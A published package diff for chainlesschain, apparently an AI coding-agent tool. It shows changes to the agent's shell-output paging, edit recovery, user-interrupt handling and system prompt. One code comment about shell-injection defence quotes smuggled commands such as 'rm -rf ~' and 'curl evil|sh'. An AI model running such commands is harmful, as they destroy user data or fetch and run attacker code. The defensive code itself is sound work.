chainlesschain 0.166.48 → 0.166.58

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (188) hide show
  1. package/README.md +22 -0
  2. package/package.json +2 -1
  3. package/src/assets/web-panel/.build-hash +1 -1
  4. package/src/assets/web-panel/assets/{AIOps-BLGEffkh.js → AIOps-DoyI29Aw.js} +1 -1
  5. package/src/assets/web-panel/assets/{ActionButton-Cz1z2VGD.js → ActionButton-eZKcEoxc.js} +1 -1
  6. package/src/assets/web-panel/assets/{Analytics-C3j9cf6q.js → Analytics-B2C2e9A7.js} +3 -3
  7. package/src/assets/web-panel/assets/{AppLayout-BR9ERuCA.js → AppLayout-DkZJiu4X.js} +5 -5
  8. package/src/assets/web-panel/assets/{Artifacts-CozJCm4y.js → Artifacts-8PD3BXVa.js} +1 -1
  9. package/src/assets/web-panel/assets/{Audit-DC5g9Ra2.js → Audit-Cv6sRlFu.js} +1 -1
  10. package/src/assets/web-panel/assets/{BackgroundAgents-B1zrQ0dW.js → BackgroundAgents-D-V84Qpm.js} +1 -1
  11. package/src/assets/web-panel/assets/{Backup-ChVnfjpm.js → Backup-DYJQcxj1.js} +1 -1
  12. package/src/assets/web-panel/assets/{BaseInput-8_vLQsLf.js → BaseInput-KL2IeywH.js} +1 -1
  13. package/src/assets/web-panel/assets/{Chat-Dct9bm6L.js → Chat-Bt9wy_Yn.js} +5 -5
  14. package/src/assets/web-panel/assets/{ChatBubbleRenderer-BvoSsCKh.js → ChatBubbleRenderer-ChB6fH-W.js} +1 -1
  15. package/src/assets/web-panel/assets/{Checkbox-DZQIsCIC.js → Checkbox-Dm-nfdnd.js} +1 -1
  16. package/src/assets/web-panel/assets/{Codegen-CdzHxmnq.js → Codegen-CYi3yDzv.js} +1 -1
  17. package/src/assets/web-panel/assets/{Col-DdAN8LeW.js → Col-C7sQywfG.js} +1 -1
  18. package/src/assets/web-panel/assets/{Community-CNgjT9MA.js → Community-DjxuqAM4.js} +1 -1
  19. package/src/assets/web-panel/assets/{Compact-BtQiX6G-.js → Compact-CD_4lbxr.js} +1 -1
  20. package/src/assets/web-panel/assets/{Compliance-OGX5ma3j.js → Compliance-BtDpNJrS.js} +1 -1
  21. package/src/assets/web-panel/assets/{Cowork-CgugQnGM.js → Cowork-l19ANH6Q.js} +3 -3
  22. package/src/assets/web-panel/assets/{Cron-Bpg7cPFD.js → Cron-Br-rBoEK.js} +2 -2
  23. package/src/assets/web-panel/assets/{Crosschain-D1hsuswf.js → Crosschain-60UVvKET.js} +1 -1
  24. package/src/assets/web-panel/assets/{DID-miDRsMBw.js → DID-B9dqar51.js} +2 -2
  25. package/src/assets/web-panel/assets/{Dashboard-CGcl8htP.js → Dashboard-B39hhdHb.js} +2 -2
  26. package/src/assets/web-panel/assets/{Dropdown-BFaxTdVE.js → Dropdown-Bm5rCfvF.js} +1 -1
  27. package/src/assets/web-panel/assets/{EmailListRenderer-BQdGLZIO.js → EmailListRenderer-BI9HANDl.js} +1 -1
  28. package/src/assets/web-panel/assets/EvolutionSettings-Cfqn_yCq.js +1 -0
  29. package/src/assets/web-panel/assets/{FamilyGuardDashboard-c1WVC_--.js → FamilyGuardDashboard-9Y4_zyhT.js} +1 -1
  30. package/src/assets/web-panel/assets/{Federation-DyAcFrQY.js → Federation-vnbbmMdF.js} +1 -1
  31. package/src/assets/web-panel/assets/{FormItemContext-CfwpfD2B.js → FormItemContext-BEKNtNF9.js} +1 -1
  32. package/src/assets/web-panel/assets/{GenericCardRenderer-DkJcbBpS.js → GenericCardRenderer-BmWr16IL.js} +1 -1
  33. package/src/assets/web-panel/assets/{Git-DgYIrPJh.js → Git-CUUwAXdn.js} +2 -2
  34. package/src/assets/web-panel/assets/{Governance-BF1tYPJ6.js → Governance-Bw8XZmH9.js} +1 -1
  35. package/src/assets/web-panel/assets/{Inference-BFkwRIrU.js → Inference-CNrml6dn.js} +1 -1
  36. package/src/assets/web-panel/assets/{KnowledgeGraph-DpCoqhBa.js → KnowledgeGraph-BhxOwpW_.js} +1 -1
  37. package/src/assets/web-panel/assets/{Logs-DU2qAJmD.js → Logs-BV8WViUG.js} +2 -2
  38. package/src/assets/web-panel/assets/MarkdownRenderer-CO1qbiOY.js +1 -0
  39. package/src/assets/web-panel/assets/{Marketplace-Dz9NUrfo.js → Marketplace-ztcu4mg4.js} +1 -1
  40. package/src/assets/web-panel/assets/{McpTools-B67I3d5v.js → McpTools-D-wzRO7z.js} +2 -2
  41. package/src/assets/web-panel/assets/{Memory-crkElJSy.js → Memory-ChdjWC1R.js} +2 -2
  42. package/src/assets/web-panel/assets/{MobileBridge-BO20VbdX.js → MobileBridge-B1QHzIjE.js} +1 -1
  43. package/src/assets/web-panel/assets/{MobileProjects-Ba-3gZZd.js → MobileProjects-DmaRtaMw.js} +1 -1
  44. package/src/assets/web-panel/assets/{Mtc-BAHZM084.js → Mtc-DRQMr4WP.js} +4 -4
  45. package/src/assets/web-panel/assets/{MtcAudit-CL3DzajL.js → MtcAudit-Cwo0on-u.js} +2 -2
  46. package/src/assets/web-panel/assets/{Multisig-BSWWzvWH.js → Multisig-QplgySFt.js} +3 -3
  47. package/src/assets/web-panel/assets/{NLProgramming-fnxqXM_3.js → NLProgramming-BWkMyuAy.js} +1 -1
  48. package/src/assets/web-panel/assets/{Notes-qUZPIQXT.js → Notes-BI_pSEM0.js} +3 -3
  49. package/src/assets/web-panel/assets/{NotificationSettings-x9Xrixqu.js → NotificationSettings-DiuFo6Xe.js} +1 -1
  50. package/src/assets/web-panel/assets/{OrderTableRenderer-BtMtQUt7.js → OrderTableRenderer-DZzQhujZ.js} +1 -1
  51. package/src/assets/web-panel/assets/{Organization-C946Hzna.js → Organization-DqEdqWB0.js} +2 -2
  52. package/src/assets/web-panel/assets/{Overflow-BYf8KIts.js → Overflow-CO7_2YLN.js} +1 -1
  53. package/src/assets/web-panel/assets/{P2P-Cbqf5dnv.js → P2P-BN5RiNst.js} +2 -2
  54. package/src/assets/web-panel/assets/PdhVaultBrowser-CapfG4bl.js +7 -0
  55. package/src/assets/web-panel/assets/{Permissions-CZBw45EW.js → Permissions-B24c5fWW.js} +4 -4
  56. package/src/assets/web-panel/assets/{PersonalDataHub-BKwUAt43.js → PersonalDataHub-D7Mb3_vh.js} +4 -4
  57. package/src/assets/web-panel/assets/{Pipeline-DmFD2QW4.js → Pipeline-BsfxlbOQ.js} +1 -1
  58. package/src/assets/web-panel/assets/{Privacy-KpuwWvt5.js → Privacy-Bq7c7IYy.js} +1 -1
  59. package/src/assets/web-panel/assets/{ProjectInit-Bt8UheX6.js → ProjectInit-Clse2DPl.js} +2 -2
  60. package/src/assets/web-panel/assets/{ProjectSettings-2ZeAn9CP.js → ProjectSettings-CHAEdjri.js} +2 -2
  61. package/src/assets/web-panel/assets/Projects-C1UHvBEK.js +1 -0
  62. package/src/assets/web-panel/assets/{Providers-DcEAnw6L.js → Providers-DQyH3PXU.js} +1 -1
  63. package/src/assets/web-panel/assets/{QrScannerModal-qF7liYG9.js → QrScannerModal-t2Z-N49o.js} +1 -1
  64. package/src/assets/web-panel/assets/{QuickAsk-qiESlVBJ.js → QuickAsk-BacR7PlI.js} +1 -1
  65. package/src/assets/web-panel/assets/{Recommend-Bk-cQyi9.js → Recommend-D-NAy0CQ.js} +1 -1
  66. package/src/assets/web-panel/assets/{RemoteSession-CwrekErS.js → RemoteSession-CjI3GeVQ.js} +2 -2
  67. package/src/assets/web-panel/assets/{Reputation-Bmw_UQtW.js → Reputation-HoQ3i2oW.js} +1 -1
  68. package/src/assets/web-panel/assets/{Row-CPdqZIUX.js → Row-CY2jczWa.js} +1 -1
  69. package/src/assets/web-panel/assets/{RssFeed-D_W-xxvS.js → RssFeed-Bd3o20IY.js} +2 -2
  70. package/src/assets/web-panel/assets/{Search-Hu0oDFj_.js → Search-C88KjgTv.js} +1 -1
  71. package/src/assets/web-panel/assets/{Security-DeRxUwmq.js → Security-yfmfvujK.js} +3 -3
  72. package/src/assets/web-panel/assets/{Services-CsNmHFkf.js → Services-DLPBWoxT.js} +2 -2
  73. package/src/assets/web-panel/assets/{Skeleton-gv_Vz0tN.js → Skeleton-DzDjvVQi.js} +1 -1
  74. package/src/assets/web-panel/assets/{Skills-Dgg-_rCB.js → Skills-DqfrJIyP.js} +1 -1
  75. package/src/assets/web-panel/assets/{Sla-Bpu-bsEJ.js → Sla-BXhsGzkm.js} +1 -1
  76. package/src/assets/web-panel/assets/{SpeechSettings-CrhleHuF.js → SpeechSettings-jxSl2JDo.js} +1 -1
  77. package/src/assets/web-panel/assets/{SyncSettings-JHjUN6I9.js → SyncSettings-BX2xKtI3.js} +2 -2
  78. package/src/assets/web-panel/assets/{Tasks-DKRWKkl9.js → Tasks-P9MmRYt4.js} +1 -1
  79. package/src/assets/web-panel/assets/{Templates-leiWntLq.js → Templates-CTpj9f62.js} +1 -1
  80. package/src/assets/web-panel/assets/{Tenant--1bYulvn.js → Tenant-nnQuhdPg.js} +1 -1
  81. package/src/assets/web-panel/assets/{Terminal-C0y6FvSS.js → Terminal-cJ0vbuTe.js} +2 -2
  82. package/src/assets/web-panel/assets/{TimelineRenderer-CQK4PVv4.js → TimelineRenderer-DN08D0SD.js} +1 -1
  83. package/src/assets/web-panel/assets/{Tokens-DbIvF-DV.js → Tokens-C8BWWBUD.js} +1 -1
  84. package/src/assets/web-panel/assets/{Trigger-CkXJ2vuq.js → Trigger-DhD-LUoe.js} +1 -1
  85. package/src/assets/web-panel/assets/{Trust-B02WXJPw.js → Trust-D0nFyc_Z.js} +1 -1
  86. package/src/assets/web-panel/assets/{UkeySign-VPMkfzmw.js → UkeySign-B59G57LP.js} +1 -1
  87. package/src/assets/web-panel/assets/{VideoEditing-C5ezUnah.js → VideoEditing-BpYACxVC.js} +1 -1
  88. package/src/assets/web-panel/assets/{Wallet-CYfvYRrY.js → Wallet-DlZ3rKGD.js} +4 -4
  89. package/src/assets/web-panel/assets/{WebAuthn-DtKl-kpr.js → WebAuthn-De4dNyig.js} +5 -5
  90. package/src/assets/web-panel/assets/{WorkflowEditor-DACITF-u.js → WorkflowEditor-C2Tewnhp.js} +1 -1
  91. package/src/assets/web-panel/assets/{chat-qnygfnLi.js → chat-CDBn4JLE.js} +1 -1
  92. package/src/assets/web-panel/assets/{colors-D4mISLBD.js → colors-BNawl0d_.js} +1 -1
  93. package/src/assets/web-panel/assets/{compact-item-BBPfxYGL.js → compact-item-n65WDhze.js} +1 -1
  94. package/src/assets/web-panel/assets/{createContext-Byx4ndHp.js → createContext-DAKgOdIy.js} +1 -1
  95. package/src/assets/web-panel/assets/devWarning-sBSSW127.js +1 -0
  96. package/src/assets/web-panel/assets/{hasIn-CGjLkkn3.js → hasIn-DhxFG46W.js} +1 -1
  97. package/src/assets/web-panel/assets/{index-CWhI8G14.js → index--76HBS1k.js} +1 -1
  98. package/src/assets/web-panel/assets/{index-Dmfe0L2Z.js → index-0Y-ncsVy.js} +1 -1
  99. package/src/assets/web-panel/assets/{index-BzeBBAl5.js → index-5oJjovnA.js} +1 -1
  100. package/src/assets/web-panel/assets/{index-CFMWjuav.js → index-BAogaHa9.js} +1 -1
  101. package/src/assets/web-panel/assets/{index-B8UpadHC.js → index-BBFjMjmp.js} +1 -1
  102. package/src/assets/web-panel/assets/{index-BmKYaaGP.js → index-BDTrf8WH.js} +1 -1
  103. package/src/assets/web-panel/assets/index-BIJTDSLY.js +1 -0
  104. package/src/assets/web-panel/assets/{index-CD5Btq6p.js → index-BQFAuU1c.js} +1 -1
  105. package/src/assets/web-panel/assets/{index-CVUJjQAT.js → index-BRyzRluv.js} +1 -1
  106. package/src/assets/web-panel/assets/{index-O09jXbir.js → index-BZI8xwwt.js} +1 -1
  107. package/src/assets/web-panel/assets/{index-CMj8qmpX.js → index-BfXdTvku.js} +1 -1
  108. package/src/assets/web-panel/assets/{index-D_g9mA1N.js → index-BudfMkBy.js} +1 -1
  109. package/src/assets/web-panel/assets/{index-BN7_TSgU.js → index-By-zGgUp.js} +1 -1
  110. package/src/assets/web-panel/assets/{index-Ne8UGllV.js → index-ByDs4cW4.js} +3 -3
  111. package/src/assets/web-panel/assets/{index-CZjNamSU.js → index-BzONk4rW.js} +1 -1
  112. package/src/assets/web-panel/assets/{index-xzRKTy0R.js → index-CE6OcLof.js} +1 -1
  113. package/src/assets/web-panel/assets/{index-J5JkStvY.js → index-CSOgoyqx.js} +1 -1
  114. package/src/assets/web-panel/assets/{index-BklGH3YI.js → index-CW_OUdP8.js} +1 -1
  115. package/src/assets/web-panel/assets/{index-CmHE-lY_.js → index-CZJrAg98.js} +1 -1
  116. package/src/assets/web-panel/assets/index-CrBauOkp.js +1 -0
  117. package/src/assets/web-panel/assets/{index-lKJWAmd4.js → index-Cv7LqHwv.js} +1 -1
  118. package/src/assets/web-panel/assets/{index-Dzni_5Qw.js → index-D34AXxN9.js} +1 -1
  119. package/src/assets/web-panel/assets/{index-c_tBkIlU.js → index-D6sWUgN6.js} +1 -1
  120. package/src/assets/web-panel/assets/{index-Y7el_3WS.js → index-DCujBaFg.js} +1 -1
  121. package/src/assets/web-panel/assets/{index-BxQF1wCU.js → index-DFkamspD.js} +1 -1
  122. package/src/assets/web-panel/assets/{index-CsVuQsY1.js → index-DLFRz0_7.js} +1 -1
  123. package/src/assets/web-panel/assets/{index-ByA1NyFP.js → index-DV6iHrUO.js} +1 -1
  124. package/src/assets/web-panel/assets/{index-DboTeuPF.js → index-D_-6qQf0.js} +1 -1
  125. package/src/assets/web-panel/assets/{index-C9tcHs46.js → index-DeTlqus4.js} +1 -1
  126. package/src/assets/web-panel/assets/{index-DH6iC5b2.js → index-DkW0HGr-.js} +1 -1
  127. package/src/assets/web-panel/assets/{index-B9jH-h4X.js → index-DleKcclQ.js} +1 -1
  128. package/src/assets/web-panel/assets/{index-Cpg3AWRy.js → index-Ds290C06.js} +1 -1
  129. package/src/assets/web-panel/assets/{index-B_fHPZ8E.js → index-KT94nMha.js} +1 -1
  130. package/src/assets/web-panel/assets/{index-C3abGsSW.js → index-KZkt4e9N.js} +1 -1
  131. package/src/assets/web-panel/assets/{index-DZXhKAk9.js → index-L1QnA0gW.js} +1 -1
  132. package/src/assets/web-panel/assets/{index-DfgpKd64.js → index-PlOBwfR1.js} +1 -1
  133. package/src/assets/web-panel/assets/{index-CoA8WsVr.js → index-gG1WJBpa.js} +1 -1
  134. package/src/assets/web-panel/assets/{index-BNe2lCk6.js → index-hA9VUXGr.js} +1 -1
  135. package/src/assets/web-panel/assets/{index-CydHMjwc.js → index-pzEYIGNA.js} +1 -1
  136. package/src/assets/web-panel/assets/{initDefaultProps-XuhfEIhB.js → initDefaultProps-B3bCivrt.js} +1 -1
  137. package/src/assets/web-panel/assets/{motion-Cbxh6AxO.js → motion-CF5pGsxz.js} +1 -1
  138. package/src/assets/web-panel/assets/{move-C7IEnFly.js → move-CaOFtFLU.js} +1 -1
  139. package/src/assets/web-panel/assets/{mtc-parser-lLADx4LL.js → mtc-parser-Z4-50Y1c.js} +1 -1
  140. package/src/assets/web-panel/assets/{omit-mIbic_k-.js → omit-AK4WqVTT.js} +1 -1
  141. package/src/assets/web-panel/assets/{pickAttrs-_xIYEqu3.js → pickAttrs-Dbye0px4.js} +1 -1
  142. package/src/assets/web-panel/assets/{placementArrow-ClB-E0ny.js → placementArrow-DCmr-Dks.js} +1 -1
  143. package/src/assets/web-panel/assets/{responsiveObserve-D36Bg2ut.js → responsiveObserve-CJ3Zm_-H.js} +1 -1
  144. package/src/assets/web-panel/assets/{slide-CUuO08Bl.js → slide-BuSk5-ue.js} +1 -1
  145. package/src/assets/web-panel/assets/{statusUtils-BKahwLbv.js → statusUtils-8u_lKSFJ.js} +1 -1
  146. package/src/assets/web-panel/assets/{styleChecker-2pT-T8vy.js → styleChecker-sy6_m42F.js} +1 -1
  147. package/src/assets/web-panel/assets/{useFlexGapSupport-DyH5g7Rg.js → useFlexGapSupport-Di5EfYGo.js} +1 -1
  148. package/src/assets/web-panel/assets/{useFs-CTOauB3X.js → useFs-BTfX_Ri1.js} +1 -1
  149. package/src/assets/web-panel/assets/{usePersonalDataHub-B02JYIMe.js → usePersonalDataHub-kqurO26X.js} +1 -1
  150. package/src/assets/web-panel/assets/{vnode-Do22wQrc.js → vnode-DRkH4mPV.js} +1 -1
  151. package/src/assets/web-panel/assets/{zoom-BfnL7rit.js → zoom-ON_-UuD_.js} +1 -1
  152. package/src/assets/web-panel/index.html +1 -1
  153. package/src/commands/agent.js +5 -0
  154. package/src/commands/config.js +19 -10
  155. package/src/commands/context.js +31 -11
  156. package/src/commands/eval.js +39 -4
  157. package/src/commands/evolution-deployment.js +70 -0
  158. package/src/data/changelog.json +91 -0
  159. package/src/gateways/ws/evolution-deployment-topic-handlers.js +20 -0
  160. package/src/harness/prompt-compressor.js +12 -4
  161. package/src/lib/diagnostic-excerpt.js +51 -0
  162. package/src/lib/diagnostic-workflow.js +10 -0
  163. package/src/lib/eval/evidence.js +19 -10
  164. package/src/lib/eval/outcomes.js +373 -0
  165. package/src/lib/eval/runner.js +6 -0
  166. package/src/lib/evolution/evolution-deployment-config.js +16 -1
  167. package/src/lib/evolution/evolution-deployment-profile.js +102 -58
  168. package/src/lib/evolution/evolution-test-deployment.js +386 -0
  169. package/src/lib/git-tool-input.js +37 -0
  170. package/src/lib/llm-config-defaults.js +32 -9
  171. package/src/lib/model-context-window.js +3 -2
  172. package/src/lib/read-file-loop-guard.js +54 -0
  173. package/src/lib/remote-read-loop-guard.js +12 -14
  174. package/src/lib/runtime-usage-ledger.js +5 -0
  175. package/src/lib/session-message-fabric.js +74 -37
  176. package/src/lib/shell-output.js +30 -0
  177. package/src/lib/task-progress-tracker.js +88 -0
  178. package/src/repl/agent-repl.js +19 -4
  179. package/src/runtime/agent-core.js +108 -22
  180. package/src/runtime/headless-runner.js +4 -0
  181. package/src/runtime/headless-stream.js +34 -1
  182. package/src/assets/web-panel/assets/EvolutionSettings-bMvgBk6r.js +0 -1
  183. package/src/assets/web-panel/assets/MarkdownRenderer-QWv7UJLq.js +0 -1
  184. package/src/assets/web-panel/assets/PdhVaultBrowser-rmxp0cuF.js +0 -7
  185. package/src/assets/web-panel/assets/Projects-zBuet8Zs.js +0 -1
  186. package/src/assets/web-panel/assets/devWarning-DBy6gsuI.js +0 -1
  187. package/src/assets/web-panel/assets/index-BfEDXk_E.js +0 -1
  188. package/src/assets/web-panel/assets/index-CrxUwNM8.js +0 -1
@@ -21,6 +21,9 @@ import {
21
21
  buildReadFileOutline,
22
22
  } from "../lib/read-file-page.js";
23
23
  import { ReadFileLoopGuard } from "../lib/read-file-loop-guard.js";
24
+ import { gitToolInputError } from "../lib/git-tool-input.js";
25
+ import { shellOutputPage, shellOutputPreview } from "../lib/shell-output.js";
26
+ import { DIAGNOSTIC_WORKFLOW_GUIDANCE } from "../lib/diagnostic-workflow.js";
24
27
  import { RemoteReadLoopGuard } from "../lib/remote-read-loop-guard.js";
25
28
  import {
26
29
  isPrActionRequest,
@@ -450,10 +453,10 @@ function _appendBgStream(stream, text) {
450
453
  }
451
454
  }
452
455
 
453
- // Read everything produced since the last read and advance the cursor. When the
454
- // cursor points into a region already dropped from the retained tail, the gap
455
- // is reported so the caller knows output was lost to the buffer cap.
456
- function _readBgStream(stream) {
456
+ // Read one bounded page and advance only past returned text. When the cursor
457
+ // points into a region already dropped from the retained tail, report that gap
458
+ // separately; unread retained text remains available on the next poll.
459
+ function _readBgStream(stream, budget) {
457
460
  const bufStart = stream.total - stream.buf.length;
458
461
  let from = stream.cursor;
459
462
  let droppedGap = 0;
@@ -461,9 +464,9 @@ function _readBgStream(stream) {
461
464
  droppedGap = bufStart - from;
462
465
  from = bufStart;
463
466
  }
464
- const text = stream.buf.slice(from - bufStart);
465
- stream.cursor = stream.total;
466
- return { text, droppedGap };
467
+ const page = shellOutputPage(stream.buf.slice(from - bufStart), budget);
468
+ stream.cursor = from + page.text.length;
469
+ return { ...page, droppedGap };
467
470
  }
468
471
 
469
472
  /**
@@ -1114,11 +1117,12 @@ export function getBaseSystemPrompt(cwd) {
1114
1117
  You have access to tools that let you read files, write files, edit files, run shell commands, and search the codebase. When the user asks you to do something, USE THE TOOLS to actually do it — don't just describe what should be done.
1115
1118
 
1116
1119
  Key behaviors:
1120
+ - A new user message may arrive before the previous task finishes. Incorporate corrections and added requests while preserving unfinished authorized work, unless the user cancels or replaces it. Use the completed tool results already in history; do not restart the investigation.
1117
1121
  - When asked to modify code, read the file first, then edit it
1118
1122
  - When asked to create something, use write_file to create it
1119
1123
  - When asked to remove or rename a file, use delete_file or move_file so the filesystem intent is explicit and reviewable
1120
1124
  - When asked to run/test something, use run_shell to execute it
1121
- - For a bug fix, retain the failing test/file and exact error, inspect the relevant code, then state a root-cause hypothesis and run the smallest reproduction or diagnostic that can disprove it. Base the next step on actual output. Do not repeatedly read adjacent files without identifying a specific missing fact. Validate the fix with the failing case and report what remains unverified.
1125
+ - ${DIAGNOSTIC_WORKFLOW_GUIDANCE}
1122
1126
  - For CI log retrieval, inspect command stderr before retrying. Match syntax to the actual shell: Windows PowerShell 5 does not support &&, cmd treats single quotes literally, and head is not a Windows builtin. Prefer a plain gh metadata/log command without jq or pipelines first, then inspect the saved output. Never switch shells to bypass a policy denial.
1123
1127
  - For long-running commands (builds, full test suites, dev servers) set run_shell { run_in_background: true } to get a task_id back immediately, then poll output and completion with check_shell { task_id }. Kill a backgrounded server with check_shell { task_id, kill: true } when finished
1124
1128
  - When asked about git status, diff, log, or other repository operations, use the git tool instead of run_shell
@@ -5676,10 +5680,30 @@ async function executeToolInner(
5676
5680
  result.error === "ambiguous_anchor" && result.matches?.[0]
5677
5681
  ? snippetAround(original, result.matches[0].lineNumber - 1)
5678
5682
  : null;
5683
+ const expectedContent = result.current ?? args.expected_line;
5684
+ const expectedIndex =
5685
+ typeof expectedContent === "string"
5686
+ ? original
5687
+ .split(/\r?\n/)
5688
+ .findIndex((line) => line.trim() === expectedContent.trim())
5689
+ : -1;
5690
+ const recoveryRead = ["hash_mismatch", "content_mismatch"].includes(
5691
+ result.error,
5692
+ )
5693
+ ? {
5694
+ path: filePath,
5695
+ hashed: true,
5696
+ offset: Math.max(1, expectedIndex - 3 + 1),
5697
+ limit: 80,
5698
+ }
5699
+ : null;
5679
5700
  return attachDescriptor({
5680
5701
  error: result.error,
5681
5702
  message: result.message,
5682
- hint: result.hint,
5703
+ hint: recoveryRead
5704
+ ? "Call read_file with the exact recoveryRead arguments (hashed:true) to refresh the anchors, then retry the edit using the returned hash. This bounded refresh is available once during loop recovery; do not restart broad reading."
5705
+ : result.hint,
5706
+ ...(recoveryRead && { recoveryRead }),
5683
5707
  ...(result.matches && { matches: result.matches }),
5684
5708
  ...(result.current && { current: result.current }),
5685
5709
  ...(result.expected && { expected: result.expected }),
@@ -6688,8 +6712,8 @@ async function executeToolInner(
6688
6712
  result.stderr ||
6689
6713
  `Sandbox command exited with code ${result.exitCode}`
6690
6714
  ).substring(0, 2000),
6691
- stdout: result.stdout.substring(0, 30000),
6692
- stderr: result.stderr.substring(0, 2000),
6715
+ ...shellOutputPreview(result.stdout, "stdout", 16000),
6716
+ ...shellOutputPreview(result.stderr, "stderr", 4000),
6693
6717
  exitCode: result.exitCode,
6694
6718
  ...common,
6695
6719
  },
@@ -6697,7 +6721,11 @@ async function executeToolInner(
6697
6721
  );
6698
6722
  }
6699
6723
  return attachDescriptor(
6700
- { stdout: result.stdout.substring(0, 30000), ...common },
6724
+ {
6725
+ exitCode: 0,
6726
+ ...shellOutputPreview(result.stdout, "stdout", 24000),
6727
+ ...common,
6728
+ },
6701
6729
  override || runtimeDescriptor,
6702
6730
  );
6703
6731
  }
@@ -6829,7 +6857,8 @@ async function executeToolInner(
6829
6857
  }
6830
6858
  return attachDescriptor(
6831
6859
  {
6832
- stdout: output.substring(0, 30000),
6860
+ ...shellOutputPreview(output, "stdout", 24000),
6861
+ exitCode: 0,
6833
6862
  ...shellMeta,
6834
6863
  ...pluginBinResult,
6835
6864
  shellCommandPolicy: shellPolicy,
@@ -6847,9 +6876,9 @@ async function executeToolInner(
6847
6876
  // actual failure. Only attach it when there IS output (a timeout with
6848
6877
  // no output keeps the field absent), mirroring the success path.
6849
6878
  ...(err.stdout
6850
- ? { stdout: String(err.stdout).substring(0, 30000) }
6879
+ ? shellOutputPreview(err.stdout, "stdout", 16000)
6851
6880
  : {}),
6852
- stderr: (err.stderr || "").substring(0, 2000),
6881
+ ...shellOutputPreview(err.stderr, "stderr", 4000),
6853
6882
  exitCode: err.status,
6854
6883
  ...(typeof err.code === "string" && err.code
6855
6884
  ? {
@@ -6876,6 +6905,7 @@ async function executeToolInner(
6876
6905
  if (!taskId) {
6877
6906
  return attachDescriptor({
6878
6907
  tasks: listBackgroundShellTasks(),
6908
+ hint: "This is a task list, not process output. Call check_shell with the task_id to read stdout, stderr and exitCode; continue while has_more_output is true even after the process exits.",
6879
6909
  });
6880
6910
  }
6881
6911
  const task = _backgroundShellTasks.get(taskId);
@@ -6891,8 +6921,17 @@ async function executeToolInner(
6891
6921
  // handler flips status. Best-effort.
6892
6922
  killed = _killTask(task);
6893
6923
  }
6894
- const out = _readBgStream(task.out);
6895
- const err = _readBgStream(task.err);
6924
+ const outputBudget = Math.min(
6925
+ 16000,
6926
+ Math.floor((MAX_TOOL_RESULT_CHARS - 8192) / 2),
6927
+ );
6928
+ if (outputBudget < 64)
6929
+ return attachDescriptor({
6930
+ error:
6931
+ "Tool output limit is too small to return a background output page. Output was not consumed.",
6932
+ });
6933
+ const out = _readBgStream(task.out, outputBudget);
6934
+ const err = _readBgStream(task.err, outputBudget);
6896
6935
  return attachDescriptor({
6897
6936
  task_id: task.id,
6898
6937
  status: task.status,
@@ -6901,8 +6940,15 @@ async function executeToolInner(
6901
6940
  exitCode: task.exitCode,
6902
6941
  signal: task.signal,
6903
6942
  ...(task.error ? { error: task.error } : {}),
6904
- stdout: out.text.substring(0, 30000),
6905
- stderr: err.text.substring(0, 30000),
6943
+ stdout: out.text,
6944
+ stderr: err.text,
6945
+ has_more_output: out.remaining > 0 || err.remaining > 0,
6946
+ ...(out.remaining || err.remaining
6947
+ ? {
6948
+ next_check: { task_id: task.id },
6949
+ hint: "More retained output is unread. Call check_shell with next_check even if status is exited or failed; process exit does not mean all output has been read.",
6950
+ }
6951
+ : {}),
6906
6952
  ...(out.droppedGap ? { stdout_dropped_bytes: out.droppedGap } : {}),
6907
6953
  ...(err.droppedGap ? { stderr_dropped_bytes: err.droppedGap } : {}),
6908
6954
  ...(killed ? { killed: true } : {}),
@@ -6919,6 +6965,9 @@ async function executeToolInner(
6919
6965
  });
6920
6966
  }
6921
6967
 
6968
+ const inputError = gitToolInputError(normalizedCommand);
6969
+ if (inputError) return attachDescriptor(inputError);
6970
+
6922
6971
  // Run via argv (spawnSync, NO shell) so shell metacharacters in the
6923
6972
  // command — e.g. `status; rm -rf ~`, `log && curl evil|sh`, `$(…)` —
6924
6973
  // cannot inject a second command. Previously execSync(`git ${cmd}`) ran
@@ -6965,6 +7014,7 @@ async function executeToolInner(
6965
7014
  }
6966
7015
  return attachDescriptor({
6967
7016
  stdout: String(res.stdout || "").substring(0, 30000),
7017
+ exitCode: 0,
6968
7018
  command: normalizedCommand,
6969
7019
  readOnly,
6970
7020
  });
@@ -13497,6 +13547,8 @@ async function _getAutoCompactor(options) {
13497
13547
  compressor = new PromptCompressor({
13498
13548
  model: options.model,
13499
13549
  provider: options.provider,
13550
+ baseUrl: options.baseUrl,
13551
+ contextMemoryModelWindowTokens: options.contextMemoryModelWindowTokens,
13500
13552
  llmQuery,
13501
13553
  summaryInputMaxChars: options.compactionInputMaxChars,
13502
13554
  });
@@ -14280,6 +14332,17 @@ export async function* agentLoop(messages, options) {
14280
14332
  let lastTaskProgressIntervention = null;
14281
14333
 
14282
14334
  while (budget.hasRemaining()) {
14335
+ // Yield only between complete tool batches. Keep all completed tool results
14336
+ // and settle child usage before the host accepts queued user steering.
14337
+ if (options.shouldYieldToUser?.() === true) {
14338
+ await _awaitBackgroundUsageSettlement(
14339
+ backgroundSubAgents,
14340
+ backgroundUsageFailureState,
14341
+ );
14342
+ yield* _drainSubAgentUsage(subAgentUsageSink);
14343
+ yield { type: "run-ended", runId, reason: "user-input-pending" };
14344
+ return;
14345
+ }
14283
14346
  readFileLoopGuard.finishBatch();
14284
14347
  if (remoteReadLoopGuard.stalled) {
14285
14348
  await _awaitBackgroundUsageSettlement(
@@ -14293,7 +14356,7 @@ export async function* agentLoop(messages, options) {
14293
14356
  error.code = "CC_AGENT_REPEATED_REMOTE_READ";
14294
14357
  throw error;
14295
14358
  }
14296
- if (readFileLoopGuard.stalled) {
14359
+ if (readFileLoopGuard.stalled && !readFileLoopGuard.hasEditRecoveryReads) {
14297
14360
  await _awaitBackgroundUsageSettlement(
14298
14361
  backgroundSubAgents,
14299
14362
  backgroundUsageFailureState,
@@ -14904,7 +14967,9 @@ export async function* agentLoop(messages, options) {
14904
14967
  };
14905
14968
  }
14906
14969
  const pausedTools = new Set([
14907
- ...(readRecoveryTurn ? ["read_file"] : []),
14970
+ ...(readRecoveryTurn && !readFileLoopGuard.hasEditRecoveryReads
14971
+ ? ["read_file"]
14972
+ : []),
14908
14973
  ...(taskRecoveryTurn ? taskRecoveryTools : []),
14909
14974
  ...remoteRecoveryTools,
14910
14975
  ...(prInvestigationExhausted
@@ -15154,6 +15219,16 @@ export async function* agentLoop(messages, options) {
15154
15219
  }
15155
15220
  : {}),
15156
15221
  };
15222
+ // Resolve before dispatch, including compatibility/skip-planning runs.
15223
